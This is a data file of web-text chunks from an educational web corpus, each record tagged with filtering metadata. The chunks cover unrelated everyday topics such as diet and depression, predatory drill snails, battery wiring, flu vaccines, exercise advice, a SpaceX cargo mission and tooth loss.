other qualified health professional before starting any new treatment or making any changes to existing treatment. do not delay seeking or disregard medical advice based on information on this site.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5015782465282888, "token_count": 340, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.248668"} {"text": "skip the diet soda and pick up a cup of joe? new research claims that sweetened beverages increase the risk of depression in older adults, while coffee slightly lowers the chances. \" sweetened beverages, coffee and tea are commonly consumed worldwide and have important physical - - and may have important mental - - health consequences, \" study author dr. honglei chen, a researcher with the national institutes of health in research triangle park in north carolina and a member of the american academy of neurology, said in a written statement. chen ' s new study looked at data from 263, 925 people between the ages of 50 and 71 that were first collected from 1995 to 1996. soda, tea, fruit punch and coffee consumption was recorded for all participants, then researchers followed up about 10 years later and asked the participant if he or she had been diagnosed with depression since 2000. out of all the subjects, 11, 311 had been diagnosed with depression in that time frame. it was discovered that people who drank more than four cans or cups of soda per day were 30 percent more likely to be depressed than those who did not drink sweetened drinks. diet drinkers had a higher chance of being diagnosed than their counterparts who drank the regular versions of soda, fruit punch and iced tea respectively. coffee drinkers who consumed four or more cups of coffee a day had a 10 percent lower chance of having depression. \" our research suggests that cutting out or down on sweetened diet drinks or replacing them with unsweetened coffee may naturally help lower your depression risk, \" said chen. \" more research is needed to confirm these findings, and people with depression should continue to take depression medications prescribed by their doctors. \" however, some doctors are skeptical that a connection between drinking sugary drinks and becoming depressed exists. \" there is much more evidence that people who are depressed crave sweet things than there is to suggest that sweetened beverages cause depression, \" dr. kenneth m. heilman, a professor of neurology at the university of florida college of medicine in gainesville, said to webmd. heilman added that studies like these do not show a cause and effect, so telling people to cut down on drinking sweetened beverages may not affect depression levels at all. gaynor bussell, dietician and spokesperson for the british dietetic association emphasized to the bbc that this study only showed a link, not a reason for depression. he believes it was a \" one - off \" study that may or may not be replicated, and added drinking diet", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47148425438997044, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.252886"} {"text": "learn only 3 things about them... they are fierce predators! some can bore a hole through the prey ' s shell. it takes them a long time to get at their prey. don ' t lay large collections of egg capsules on the rocks. where seen? you will almost be certain to meet this ferocious predator on our rocky shores! drills are commonly seen on boulders and rocks, including man - made structures such as breakwaters and jetty features : among the common drill species on our shores are rock - shell ( thais sp. ), drupes ( morula sp. ) and murex ( chicoreus sp. ). drills usually have thick shells and a thick operculum made of a horn - like material. those with complicated spines on their shells usually move by holding their shells above the surface as they move along the surface. bored to death : drills that live on the rocks are predatory molluscs that bore into other shelled creatures, to bore a hole through the victim ' s shell, a drilling snail softens the shell with a weak acid secreted by a special gland on the underside of its foot. the softened shell is then slowly scraped off by the snail ' s radula. the radula is the main physical tool in creating the hole. it can take eight hours for a drill to get through a shell 2mm other drill food and feeding methods : some drills may also pry open the shells of bivalves with a tooth on the lip of their shell. others may also get to limpets by inserting their proboscis under the limpet ' s shell. some may also hunt buried clams. some prey on worms, the eggs of other snails and even corals. some deeper - water members of the family muricidae eat worms and sea urchins. we have also seen in groups of drills on silty sandy shores feeding on nest mussels to dye for : many drills have a gland that secretes a colourless mucus that turns purplish when exposed to air. this secretion is a neurotoxin that paralyses or kills other sea creatures. humans have used this mucus as a rare dye ( see below ). drill babies : some drills lay masses of bright yellow egg capsules. each egg capsule may contain 20 - 40 eggs. the egg capsules turn purple when the free - swimming larvae hatch. these swim about for a few weeks before they change into crawling juveniles. in some, however, crawling juveniles", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4430605001969258, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.260070"} {"text": "yellow egg capsules. each egg capsule may contain 20 - 40 eggs. the egg capsules turn purple when the free - swimming larvae hatch. these swim about for a few weeks before they change into crawling juveniles. in some, however, crawling juveniles emerge from the egg human uses : since 1, 500 bc in the mediterranean, snails of the family muricidae were harvested to produce a dye called tyrian purple ( which was actually more maroon ). the dye resisted fading, but involved so much labour to produce that only royalty and the very rich could afford it. thousands of shells were crushed to obtain minute quantities of the dye. the dye was worth several times its weight in gold. the dye industry brought fame and fortune to tyre ( now modern lebanon ). tyre was a great phoenician city. in fact phoenicia means \" purple people \". tyre ruled the seas and founded prosperous colonies such as cadiz and carthage. the prosperity of tyre allowed the arts and sciences to flourish. for example, marinus of tyre was considered the founder of mathematical geography and introduced the concept of latitude and longitude in map design. as merchants who needed to keep records, the phoenicians simplified the 550 characters in the cuneiform alphabet with a phonetic alphabet, based on distinct sounds, consisting of 22 alphabets. this alphabet, with modifications introduced by the greeks and romans, is the one we use today. predators, some drills are considered a pest on oyster farms in taiwan drills have become useful as bioindicators of pollutants in the environment, such as for anti - fouling chemicals used to prevent encrusting animals from growing on ships and other installations in the sea. the toxins kill drill larvae, or result in deformities in adults. status and threats : chicoreus ramosus is listed as ' endangered ' and the murex snail ( murex trapa ) as ' vulnerable ' in the red list of threatened animals of singapore. our other drills are not on this list. however, like other creatures of the intertidal zone, they are affected by human activities such as reclamation and pollution. trampling by careless visitors and over - collection can also have an impact on drills laying eggs on a rock pulau sekudu, jan 06 close up of egg capsules changi, jul 05 a ' gang ' of drills stuck onto a clam. tuas, may 07 a drill with what seems to be a small bivalve in its shell opening. pulau hantu,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4490706350183472, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.261076"} {"text": "close up of egg capsules changi, jul 05 a ' gang ' of drills stuck onto a clam. tuas, may 07 a drill with what seems to be a small bivalve in its shell opening. pulau hantu, feb 08 kusu island, dec 04 different kinds of drill egg capsules. punggol, jun 12 chek jawa, apr 08 muricidae recorded for singapore tan siong kiat and henrietta p. m. woo, 2010 preliminary checklist of the molluscs of singapore. in red are those listed among the threatened animals of singapore from davison, g. w. h. and p. k. l. ng and ho hua chew, 2008. the singapore red data book : threatened plants and animals of singapore. commonly seen awaiting identification species are difficult to positively identify without on this website, they are grouped by external features for convenience chicoreus brunneus ( burnt murex ) chicoreus capucinus ( mangrove chicoreus ramosus ( ram ' s murex ) chicoreus torrefactus ( firebrand murex ) ( rare - spined murex snail ) ( vu : vulnerable ) semiricinula fusca ( dark drill ) ( thais gradata ) and ketem ( chicoreus capucinus ) ng, peter k. l. & n. sivasothi, 1999. a guide to the mangroves of singapore ii ( animal diversity ). singapore science centre. 168 pp. murex ( murex martineaus ), mangrove murex ( chicoreus capucinus ), thais and morula tan, leo w. h. & ng, peter k. l., 1988. a guide to seashore life. the singapore science centre, singapore. 160 pp. murex ( chicoreus ramosus ) and rare - spined murex ( murex trapa ) on the nparks flora and fauna website. muricidae on the gladys archerd shell collection at washington state university tri - cities natural history museum website : brief fact sheet on drills with photos muricidae ( murex, rock or coral shells ) on the the seashells of new south wales website by des beechey research associate, australian museum : family introductions with photos of shells and detailed fact sheets for many species. shells ( family muricidae ) on life on australian seashores by keith davey on the marine education society of australia website : fact sheet on drills and details", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4297594790640551, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.263927"} {"text": ", australian museum : family introductions with photos of shells and detailed fact sheets for many species. shells ( family muricidae ) on life on australian seashores by keith davey on the marine education society of australia website : fact sheet on drills and details on various species found in australia. muricidae in the gastropods section by j. m. poutiers in the fao species identification guide for fishery purposes : the living marine resources of the western central pacific volume 1 : seaweeds, corals, bivalves and gastropods on the food and agriculture organization of the united nations ( fao ) website. of molluscs for personal adornment on the man and molluscs website : an introduction to the wide range of dyes produced by members of the family muricidae with links to photos of the shells. purple : details about the chemical structure of the dye and how it was collected in the past and a massive bibliography of further readings on the subject. - tan siong kiat and henrietta p. m. woo, 2010 preliminary checklist of the molluscs of singapore ( pdf ), raffles museum of biodiversity research, national university of singapore. - tan, k. s. & l. m. chou, 2000. a guide to the common seashells of singapore. singapore science centre. 160 pp. - wee y. c. and peter k. l. ng. 1994. a first look at biodiversity in singapore. national council on the environment. 163pp. g. w. h. and p. k. l. ng and ho hua chew, 2008. the singapore red data book : threatened plants and animals of singapore. nature society ( singapore ). 285 pp. - abbott, r. tucker, 1991. seashells of south east asia. graham brash, singapore. 145 pp.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43116923386157385, "token_count": 376, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.264753"} {"text": "battery system voltages and equivalent power because this is one of the issues that ' s asked about repeatedly ( in different ways ) i thought i ' d just outline the basics here for reference. for comparative purposes, this example uses eight \" golf cart \" batteries of 220 amp hours and 6 volts, or 1320 watt hours ( dc ) each. times eight that is a battery bank capacity of 10, 560 watt hours, up to 50 % of which would be \" usable \" for 5, 280wh. we will also assume a 10 % charge rate ( the array sizes would be equal ), 1200 watt load, and standardization of other factors ( including ignoring losses ) because the point here is to relate the differences between the three normal system voltages : 12, 24, and 48. first, the 12 volt system : this would be four parallel strings of two batteries in series. that ' s 880 amp hours @ 12 volts. charge rate : 88 amps, necessitating either a midnite classic controller or two other types of mppt controllers to handle the current or at least 2 pwm controllers without the efficiency of going mppt if the voltages are right for it. the wiring should have positive and negative bus bars, individual battery string fuses, and twelve interconnecting wires. the 1200 watt load will draw 100 amps. problems : keeping current flow even through all batteries, handling the charging current, many connections ( points of failure ). second, the 24 volt system : this would be two parallel strings of four batteries in series. that ' s 440 amp hours @ 24 volts. charge rate : 44 amps, which can be handled by one charge controller of many different types / brands. the wiring can be done with the \" diagonal \" system. individual string fuses can be used, but not as critical as with the 12 volt set - up. only eight interconnecting wires. the 1200 watt load will draw 50 amps. problems : most of the problems of the 12 volt configuration are eliminated. the issue of keeping current flow even is still there, but greatly reduced. far fewer connections. third, the 48 volt system : this would be one string of all eight batteries connected in series. that ' s 220 amp hours @ 48 volts. charge rate : 22 amps. easily handled by any number of different charge controllers. no wiring difficulties ; no need for individual string fuses. only seven interconnecting wires. the 1200 watt load", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.45969915112970006, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.268509"} {"text": "the japanese are more accepting of robots because they don ' t suffer from the judeo - christian guilt or fear associated with making idols, according to jean - claude heudin, a researcher at the university of he explained to wired. co. uk that because of exodus 20 ( \" you shall not make for yourself an image in the form of anything in heaven above or on the earth beneath or in the waters below \", i. e. no idols ) many westerners see the creation of life or something as lifelike as a robot as a transgression of some sort of moral law. for that reason we have scary iconic figures such as dr frankenstein ' s monster and golem ( of jewish folklore, not lotr, fame ) and frequent hollywood robot horror movies such as terminator to pollute our attitudes towards heudin says : \" that explains a bit culturally why the first impression about this technology is one of anguish, unlike our japanese contemporaries where robots are viewed as a companion of life or the saviour of humanity. \" fujiko suda, the japanese founder of project kobo, agreed with heudin, talking of a culture of japanese accepting robots as friends. when asked why a lot of robotic innovation was coming from japan and korea rather than europe and the us, she responded : \" i think it ' s that religious difference. in japan we don ' t have this one god who created mankind. when you create robot it can feel too godlike. we have eight million gods. god is in everything. so if you have a human - shaped robot, it ' s just another thing in nature that we work with. we ' re not afraid of it. \" it is certainly true that japan has the world ' s highest use of industrial robots and that it specialises in humanoid types. however, there are no major studies that support this hypothesis. so while it ' s certainly an interesting theory, it will have to remain as such until it is scrutinised more scientifically. what do you think? tell us in the comments.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46591031031304797, "token_count": 418, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.270572"} {"text": "this year ' s flu vaccine was less effective than officials previously thought, particularly for the elderly, said officials with the centers for disease control and prevention. officials have said the worst may be over and flu cases are declining. the 2012 - 13 flu season began in december, much earlier than usual, and was more severe than last year ' s. that particularly was true for those 65 or older, according to a cdc report thursday. the vaccine was 9 percent effective in protecting people in that age group. \" one possible explanation for this is that some older people did not mount an effective immune response to the h3n2 component of this season ' s vaccine, \" the report said. \" however, it ' s not possible to say that for sure. \" an h3n2 flu strain has been the most dominant and has been especially hard on the elderly. among those over 65, 146 per 100, 000 were hospitalized for the flu virus, compared with a rate of 30 per 100, 000 last year, the cdc said. dr. thomas frieden, the cdc ' s director, said this month in a congressional hearing that about twice as many elderly people have been hospitalized with flu symptoms than in recent years. that includes the 2007 - 08 and 2003 - 04 seasons, which also saw a predominant h3n2 strain. \" it seems that this year ' s flu vaccine is not nearly as effective as we would like among people over the age of 65 for one particular strain of flu, \" frieden said thursday. \" that ' s why early treatment is so important. \" officials maintained, however, that those 65 and older should be vaccinated yearly, for reasons including that this population is at high risk of serious illness, hospitalization and death from the flu. \" this flu season has been worse than average and particularly severe for the elderly, \" frieden said. \" although it ' s far from perfect, flu vaccination is by far the best tool we have to protect from the flu. \"", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41990291916591604, "token_count": 406, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.273647"} {"text": "research initiative funded in time for national aboriginal day women account for 48 per cent of aboriginal people living in canada who test positive for hiv, compared to 20 per cent in the non - aboriginal population. yet studies focused on the concerns of aboriginal women in the context of hiv infection are scarce. postdoctoral fellow dr. anita c. benoit is doing research that will help to improve hiv services, so that they better target and support aboriginal women. \u201c in one of my pilot projects, i \u2019 m working to identify the stressors that aboriginal women living with hiv face daily, \u201d says benoit. \u201c we \u2019 re hoping to design a stress - reducing therapeutic intervention that will allow aboriginal women to practice traditional healing approaches in addition to conventional stress - management approaches. \u201d benoit is doing this work in partnership with aboriginal women, community groups, researchers and allied researchers. what makes the study unique from other stress management interventions in the literature is that it \u2019 s informed by the community, which benoit explains is important when working with aboriginal people. \u201c the women are very engaged with this initiative, \u201d says benoit, \u201c they have provided important feedback throughout the study that will help to inform future phases of the research project. \u201d in addition, under the supervision of women \u2019 s college scientist dr. mona loutfy, benoit has been awarded a cihr planning grant entitled, canadian hiv women ' s sexual and reproductive health cohort study ( chiwos ) - expansion into a pan - canadian study with positive aboriginal women. in collaborations with aboriginal stakeholders and researchers, the grant will fund a meeting to discuss how to increase the engagement and recruitment of aboriginal women into the study. click here for the full issue of impact jump to top page", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45952909287607624, "token_count": 340, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.275513"} {"text": "cairo - as egypt writes its new constitution, commentators are keeping a close watch on legislation that will safeguard individual religious and political freedoms - - concerns that are of course crucial to the country ' s future. but an important if less obvious factor in the future welfare of egyptians will be the role of the central bank of egypt. the cbe as we know it today was granted the status of an autonomous institution in 1961 in the era of the united arab republic. like other central banks, it performs a range of activities, the main ones being lending to commercial banks, stabilizing the national currency and setting the short - term interest rate. it is clear that the policies of the cbe must take into account a host of factors such as the amount of foreign aid received by the country, as well as the monetary policies pursued by sister central banks ( especially those of egypt \u2019 s main trading partners. ) furthermore, the cbe must harmonize its policies with the government \u2019 s economic policy objectives. there is a sense however that in egypt we may have gone unreasonably far in this harmonization of activities between the cbe and government. presidential decree number 17 of 2005 effectively strips the cbe of any autonomy. the decree states that the cbe will set the objectives of monetary policy \u201c in agreement with the government, through a coordinating council \u201d, and that this council is chaired by the prime minister, and comprises amongst its members the minister of finance, the minister of investment and the minister of planning. paradox of unemployment to understand why government meddling with the activities of the cbe is harmful to the majority of egyptians, we only need to recall that one central problem afflicting egypt \u2019 s economy is that of the high level of unemployment. and the persistence of unemployment in a country where labor is inexpensive is of course something of a paradox, and a problem that needs to be remedied. one reason that unemployment remains high has to do with the way the cbe sets the interest rate at a level lower than what would benefit the majority of egyptians. by raising the interest rate, borrowing would become expensive for capitalists, and thus capitalists would naturally have to switch modes of production toward labor - intensive technologies. the way to guarantee that the cbe safeguards the interests of ordinary egyptians \u2013 \u2013 not those of a handful of capitalists \u2013 \u2013 is to shield monetary authorities from meddling by the government. this is all the more important in the context of egypt : its recent political process is so clearly intertwined with a struggle to safeguard business interests and economic privileges for some. thus,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44314978250586334, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.278706"} {"text": "if you want to be in better physical shape, you ' re not alone. many people strive to look and feel healthier. maybe you have made resolutions to shape up, only to see them melt away before you made much progress. saying you will get into an exercise routine is much easier than actually doing it. it takes time and effort. other things get in the way. you may feel that it ' s just too hard. but you can make a commitment to fitness \u2014 and stick to it. it ' s important to make exercise a part of a normal day, like eating, working and getting dressed. where to begin? health experts say it all starts with a realistic plan. your goal is to change from a sedentary lifestyle to an active one. by changing your behaviors, you can reap health benefits, both physical and mental, that will last a lifetime. here are some guidelines to get started. - start small. don ' t set unreasonable goals for yourself. if you do, you could injure yourself. or you might get discouraged and give up. - select an activity that you can enjoy. if you like being around people, joining a fitness club or taking an exercise class might suit you. but if you ' re just getting started, working out at home gives you a chance to try out new pursuits without making a big investment. - pick something you can do year - round. ideally it ' s something you can do indoors or outdoors. weather shouldn ' t be an easy excuse not to work out. - put it on your schedule. you make time for doctor ' s appointments, haircuts and other obligations, don ' t you? set an appointment with yourself. aim for at least 30 minutes on most days. break it into two sessions if you ' re pressed for time. - gear up. buy a good pair of athletic shoes and wear comfortable clothes. your plan might include some modest home - exercise equipment. something simple such as light hand weights are a good place to start. - warm up, cool down. this means doing an activity at a slower speed or lower intensity. stretching can help increase flexibility, but flexibility exercises have no known health benefits and it ' s not clear if they lower the risk of injury. stretching is usually only recommended after exercise. how much is enough? the centers for disease control and prevention recommends that adults get both aerobic and strengthening exercise each week. aerobic exercise. exercise that makes you breathe harder and get your heart pumping faster is called aerobic exercise. moderate -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45085581235825894, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.285216"} {"text": ". how much is enough? the centers for disease control and prevention recommends that adults get both aerobic and strengthening exercise each week. aerobic exercise. exercise that makes you breathe harder and get your heart pumping faster is called aerobic exercise. moderate - intensity aerobic exercise includes things like brisk walking, dancing, pushing a lawn mower, water aerobics, playing doubles tennis, and riding a bike on level or slightly hilly ground. vigorous - intensity aerobics take more energy. those activities include running or jogging, playing basketball, swimming laps, riding a bike fast or on hills, and playing singles tennis. here ' s a good way to tell how intense your exercise level is : if you are at a moderate level, you ' re still able to talk but not sing. if you are at a vigorous level, you won ' t be able to say more than a few words before taking a breath. adults need at least two hours and 30 minutes of moderate - intensity aerobic activity every week. or, you can get a similar benefit from an hour and 15 minutes of vigorous - intensity aerobic exercise. as a third option, you can mix it up. include both moderate - and vigorous - intensity aerobic activity. it should be the equivalent of 150 minutes of moderate activity a week. vigorous activity counts for double the amount of time. so, for example, you can meet the goal by doing moderate activity for one hour ( 60 minutes ) and vigorous exercise for 45 minutes. feel free to spread the exercise throughout the week. in fact, it ' s best that way. you can break up your activity into chunks as small as 10 minutes and still get the benefit of the exercise. strength training. along with aerobic exercise, you need to keep your muscles in shape. it ' s important to work on all the major muscle groups. those are the legs, hips, back, chest, abdomen, shoulders and arms. strength training exercises include lifting weights, working with resistance bands, push - ups, sit - ups, heavy gardening and yoga. adults need muscle - strengthening exercises at least two days a week. the muscle - strengthening exercises do not count toward the aerobic time you need. other ways to build regular activity in your life are : - walk your children to school - go up hills instead of around them - pace the sidelines or circle the field at your kids ' games - do sit - ups in front of the tv. have a sit - up contest with your kids - wash the car by hand - take a", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46023961580534367, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.286249"} {"text": "go up hills instead of around them - pace the sidelines or circle the field at your kids ' games - do sit - ups in front of the tv. have a sit - up contest with your kids - wash the car by hand - take a family walk after dinner doing moderate activity is safe for most people. it ' s a great idea to talk with your doctor before significantly increasing your level of activity. and check with your doctor about a new exercise program if you have a chronic condition like heart disease, diabetes or arthritis. sticking with it tracking your progress on a chart might motivate you. write down the number of minutes you exercise each day, or how far you ' ve walked or jogged. your workouts will soon become a healthy habit. try these tips to make sure you stick to your new routine : - keep it interesting. vary your routine so you don ' t get bored. mix up aerobic and strength training on consecutive days. - expect a little muscle soreness. some soreness is typical, especially when you ' re just getting started. it will go away as you exercise. however, noticeable pain or swelling are signs to stop and rest. - exercise with a buddy. this can keep you and your friend motivated and on track. maybe you can find a friend at work to walk with at lunchtime. - set a goal. working toward an event like a 5k fun run or organizing a group outing will give you something to look forward to. maybe your goal is a certain number of pounds lost, or taking an inch off your waist. you ' ll feel great once you hit your mark, and then it ' s time to stretch yourself a little more. - don ' t stop! the benefits of exercise start to wear off in two weeks and can disappear in as little as two months. - give yourself credit. congratulate yourself with a small reward, like an exercise tape or a book. the best reward of all is feeling better about your healthy choices. ginny greene contributed to this report. these web sites are for your informational use only. it is not a substitute for professional medical advice. it may not represent your true individual medical situation. do not use this information to diagnose or treat a health problem or disease without consulting a qualified health care provider. also consult your healthcare provider before starting any medications or supplements or beginning or modifying any exercise program. \u00a9 2013 optumhealth, inc. all rights reserved. no part of information on this page may be reproduced or transmitted in any", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44447388121047904, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.287190"} {"text": "information contained on this page is provided by companies via press release distributed through pr newswire, an independent third - party content provider. pr newswire, worldnow and this station make no warranties or representations in connection therewith. houston, march 3, 2013 / prnewswire - usnewswire / - - the space exploration technologies corp. ( spacex ) dragon spacecraft was berthed to the international space station at 8 : 56 a. m. est sunday. the delivery flight was the second contracted resupply mission by the company under nasa ' s commercial resupply services contract. space station expedition 34 crew members kevin ford and tom marshburn of nasa used the station ' s robotic arm to successfully capture dragon at 5 : 31 a. m. the capture came one day, 19 hours and 22 minutes after the mission ' s launch. the station was 253 miles above northern ukraine. following its capture, the spacecraft was installed onto the earth - facing port of the harmony module through ground commands issued by mission control at nasa ' s johnson space center in houston. \" the newly arrived scientific experiments delivered by dragon carry the promise of discoveries that benefit earth and dramatically increase our understanding of how humans adapt to space, \" said william gerstenmaier, nasa ' s associate administrator for the human exploration and operations mission directorate in washington. \" spaceflight will never be risk - free, but it ' s a critical achievement that we once again have a u. s. capability to transport science to and from the international space station. the science delivered and to be returned from the space station has the promise of giving us a unique insight into problems that we face on earth. as the patch of expedition 34 states : ' off the earth... for the earth. ' \" the dragon spacecraft lifted off from cape canaveral air force station in florida at 10 : 10 a. m. friday aboard a spacex falcon 9 rocket. shortly after spacecraft separation from the rocket ' s second stage, the dragon lost three of its four thruster pods. solar array deployment was delayed while spacex engineers worked to purge blocked valves and get the pods back online. ninety minutes after launch, dragon ' s arrays were deployed. by 3 p. m., all four thruster pods were online and attitude control was regained. following a series of tests to ensure the spacecraft could safely approach the space station, dragon was approved to approach the orbiting laboratory sunday morning, one day after its originally planned arrival, which is not expected to impact any of the scientific investigations being", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4796655537624412, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.291314"} {"text": "was regained. following a series of tests to ensure the spacecraft could safely approach the space station, dragon was approved to approach the orbiting laboratory sunday morning, one day after its originally planned arrival, which is not expected to impact any of the scientific investigations being delivered. dragon is loaded with about 1, 268 pounds ( 575 kilograms ) of supplies to support continuing space station research experiments and will return with about 2, 668 pounds ( 1, 210 kilograms ) of science samples from human research, biology and biotechnology studies, physical science investigations, and education activities. newly delivered investigations include studies of how molecular biology, cells and plants grow in microgravity. one experiment, titled coarsening in solid liquid mixtures - 3, will examine solid and liquid mixtures made of lead and tin that contain a small amount of tin branch - like structures called dendrites. by understanding how temperature and time control the growth of such dendrites, researchers hope to develop more efficient and economical means of producing higher - quality products derived from the casting of molten metals. new student experiments include observing how gravity changes the growth of e. coli bacteria, studying the long - term impact of space travel on small coin - cell - sized batteries, and producing ammonium aluminum sulfate crystals of higher purity than is possible on earth. experiment samples coming back to earth will help researchers continue to assess the impact of long - duration spaceflight on the human body. returning plant samples will aid in food production during future long - duration space missions and enhance crop production on earth. crystals grown aboard and returning from the station could help in the development of more efficient solar cells and semiconductor - based electronics. the dragon capsule is scheduled to spend 22 days attached to the station before returning for a splashdown in the pacific ocean off the coast of baja california march 25. this flight is the second of at least 12 spacex cargo resupply missions to the space station through 2016. the resupply contract with nasa is worth $ 1. 6 billion. nasa ' s space network, which includes the tracking and data relay satellite system, provided space communications for spacex from launch through berthing with the space station. spacex built and tested new cargo spacecraft under nasa ' s commercial orbital transportation services ( cots ) program. nasa initiatives like cots and the agency ' s commercial crew program are helping develop a robust u. s. commercial space transportation industry with the goal of achieving safe, reliable and cost - effective transportation to and from the space station and low earth orbit. in addition to cargo flights, nasa", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5282810475959274, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.292346"} {"text": "dorsett d ( 2007 ) roles of the sister chromatid cohesion apparatus in gene expression, development, and human syndromes. chromosoma 116 ( 1 ) : 1 - 13 abstract : the sister chromatid cohesion apparatus mediates physical pairing of duplicated chromosomes. this pairing is essential for appropriate distribution of chromosomes into the daughter cells upon cell division. recent evidence shows that the cohesion apparatus, which is a significant structural component of chromosomes during interphase, also affects gene expression and development. the cornelia de lange ( cdls ) and roberts / sc phocomelia ( rbs / sc ) genetic syndromes in humans are caused by mutations affecting components of the cohesion apparatus. studies in drosophila suggest that effects on gene expression are most likely responsible for developmental alterations in cdls. effects on chromatid cohesion are apparent in rbs / sc syndrome, but data from yeast and drosophila point to the likelihood that changes in expression of genes located in heterochromatin could contribute to the developmental deficits. | status : published | | type : journal article | | pubmed id : 16819604 | topics addressed in this paper number of different genes curated to this paper : 8 - to find other papers on a gene and topic, click on the colored ball in the appropriate box. - displays other papers with information about that topic for that gene. - displays other papers in sgd that are associated with that topic. the topic is addressed in these papers but does not describe a specific gene or chromosomal feature. - to go to the locus page for a gene, click on the gene name.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5582745123545199, "token_count": 339, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.294402"} {"text": "edentulism : causes and consequences of tooth loss edentulism, or tooth loss, can rob you of much more than the ability to chew and properly digest food. tooth loss has serious social, psychological and emotional consequences, impacting your quality of life, self - image and self - esteem. edentulism results when one or more teeth are missing, or need removing due to injury or disease. with full edentulism, all teeth are missing ; with partial edentulism, one or more teeth are missing. risks and causes of edentulism although tooth loss typically is associated with the elderly, edentulism also affects children and adults if they do not practice proper oral hygiene. children : toddlers and children run the risk of two types of traumatic tooth loss : premature loss of baby teeth and loss of permanent teeth due to injury or neglect. dental caries are a major cause of tooth loss in children and teens. is your jaw pain the sign of a serious problem? adults : gum disease ( gingivitis or periodontitis ) and dental caries are the leading causes of tooth loss among adults. periodontal disease is a chronic bacterial infection affecting the gums and bone supporting the teeth. as the disease destroys gum tissue and bone, teeth loosen and may require extraction. smoking, heart disease and diabetes also are associated with tooth loss. elderly : plaque accumulation and hardening, gum recession, older fillings and dry mouth put the elderly at greater risk for losing their natural teeth. the incidence of edentulism among certain populations reflects differences in healthy behaviors and attitudes toward oral health and dental care, as well as access to and use of dental services and treatments. research indicates that tooth loss caused by gum disease is commonly associated with risk indicators that include age, gender ( more common with males ), smoking, inadequate personal oral hygiene and professional dental care, diabetes mellitus, hypertension, and rheumatoid arthritis. race / ethnicity and socioeconomics also play a role in tooth loss. for example, studies suggest that non - hispanic black adults keep fewer teeth than non - hispanic white and mexican - american adults. also, a higher percentage of people at every age living below the poverty level is edentulous compared to those living above the poverty level. other causes of edentulism other causes of edentulism include the following : - poor oral hygiene habits : not brushing and flossing daily can cause the development and progression of tooth decay and gum disease, increasing the risk of tooth loss. - poor", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45720833320556165, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.303237"} {"text": "causes of edentulism other causes of edentulism include the following : - poor oral hygiene habits : not brushing and flossing daily can cause the development and progression of tooth decay and gum disease, increasing the risk of tooth loss. - poor diet : foods and beverages high in sugar, carbohydrates and acid may cause irreversible tooth and gum damage, resulting in tooth loss. - bad habits : smoking, chewing tobacco and / or drug use can damage teeth to the point of tooth loss. - lack of education about tooth loss : a lack of education about the causes and consequences of tooth loss prevents people from taking the proper preventative lifestyle and oral health care measures, or from getting periodic dental 